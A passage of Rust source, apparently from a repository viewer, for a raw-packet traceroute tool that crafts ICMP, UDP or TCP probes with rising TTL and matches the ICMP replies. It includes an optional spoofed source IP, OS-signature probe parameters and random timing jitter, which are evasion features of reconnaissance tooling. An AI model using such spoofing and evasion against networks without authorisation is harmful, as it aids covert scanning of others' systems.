let _ = icmp_pkt.get_icmp_code();
|
||||
let mut matched = false;
|
||||
|
||||
if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
|
||||
if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
|
||||
if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
|
||||
let proto = inner.get_next_level_protocol();
|
||||
match probe_protocol {
|
||||
ProbeProtocolType::Icmp => {
|
||||
if proto == IpNextHeaderProtocols::Icmp {
|
||||
if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
|
||||
if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
|
||||
&& echo_req.get_identifier() == probe_icmp_echo_id
|
||||
&& echo_req.get_sequence_number() == probe_icmp_echo_seq
|
||||
{
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
|
||||
if proto == probe_protocol.to_ip_next_header_protocol() {
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
|
||||
if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
|
||||
if reply.get_identifier() == probe_icmp_echo_id
|
||||
&& reply.get_sequence_number() == probe_icmp_echo_seq
|
||||
&& responder == target_final_dst_ip
|
||||
{
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if matched {
|
||||
let desc = match icmp_type {
|
||||
IcmpTypes::EchoReply => "echo-reply".to_string(),
|
||||
IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
|
||||
IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
|
||||
_ => format!("type {}", icmp_type.0),
|
||||
};
|
||||
return Ok(Some(ProbeSingleResponse {
|
||||
source_ip: responder,
|
||||
rtt_ms: rtt,
|
||||
icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
|
||||
probe_protocol_used: probe_protocol.to_string_lc(),
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_traceroute(target_name: &str) -> Result<()> {
|
||||
println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
|
||||
|
||||
let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
|
||||
.await
|
||||
.with_context(|| format!("Could not resolve target: {}", target_name))?;
|
||||
|
||||
let mut target_ipv4: Option<Ipv4Addr> = None;
|
||||
for sock_addr in resolved_ips {
|
||||
if let IpAddr::V4(ipv4) = sock_addr.ip() {
|
||||
target_ipv4 = Some(ipv4);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let dst_ip = match target_ipv4 {
|
||||
Some(ip) => ip,
|
||||
None => bail!("Could not resolve {} to an IPv4 address", target_name),
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
|
||||
|
||||
let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.and_then(|s| s.parse().ok());
|
||||
|
||||
|
||||
for ttl_val in 1..=MAX_TTL {
|
||||
let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
|
||||
let mut ttl_responded = false;
|
||||
|
||||
for _probe_idx in 0..PROBE_COUNT {
|
||||
// Scope RNG to avoid holding it across await
|
||||
let (icmp_probe_id, packet_bytes, protocol_used, os_sig_params) = {
|
||||
let mut rng = rand::rng();
|
||||
let icmp_probe_id = rng.random_range(33434..=65535);
|
||||
let icmp_probe_seq = ttl_val as u16;
|
||||
|
||||
let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
|
||||
dst_ip,
|
||||
ttl_val,
|
||||
src_ip_override_opt,
|
||||
icmp_probe_id,
|
||||
icmp_probe_seq,
|
||||
)?;
|
||||
(icmp_probe_id, packet_bytes, protocol_used, os_sig_params)
|
||||
};
|
||||
|
||||
let _t0 = Instant::now();
|
||||
let response = send_and_receive_one(
|
||||
dst_ip,
|
||||
&packet_bytes,
|
||||
protocol_used,
|
||||
os_sig_params.id,
|
||||
icmp_probe_id,
|
||||
ttl_val as u16,
|
||||
Duration::from_secs(2),
|
||||
).await?;
|
||||
|
||||
if let Some(res) = response {
|
||||
ttl_responded = true;
|
||||
let rtt_str = format!("{:.1}ms", res.rtt_ms);
|
||||
|
||||
print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
|
||||
print!("{} ", res.icmp_info.description);
|
||||
println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
|
||||
|
||||
if res.source_ip == dst_ip {
|
||||
if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
|
||||
(res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
|
||||
println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let jitter_duration = {
|
||||
let mut rng = rand::rng(); // New RNG for jitter
|
||||
rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1)
|
||||
};
|
||||
tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
|
||||
}
|
||||
|
||||
if !ttl_responded {
|
||||
println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let mut user_input = String::new();
|
||||
print!("Are you running this as sudo? (yes/no): ");
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
std::io::stdin()
|
||||
.read_line(&mut user_input)
|
||||
.context("Failed to read input")?;
|
||||
|
||||
if user_input.trim().to_lowercase() == "yes" {
|
||||
// Safe wrapper for geteuid - it's a simple system call that cannot fail
|
||||
let euid = unsafe { libc::geteuid() };
|
||||
if euid != 0 {
|
||||
println!("don't lie");
|
||||
std::process::exit(1);
|
||||
}
|
||||
} else if user_input.trim().to_lowercase() == "no" {
|
||||
println!("Please run this script as sudo.");
|
||||
std::process::exit(1);
|
||||
} else {
|
||||
println!("Invalid input. Exiting.");
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
println!("by suicidalteddy");
|
||||
println!("github.com/s-b-repo");
|
||||
println!("medium.com/@suicdalteddy/about");
|
||||
|
||||
if target.is_empty() {
|
||||
bail!("No target provided.");
|
||||
}
|
||||
|
||||
execute_traceroute(target).await.map_err(|e| {
|
||||
eprintln!("{}", format!("[-] Error: {}", e).red());
|
||||
e
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user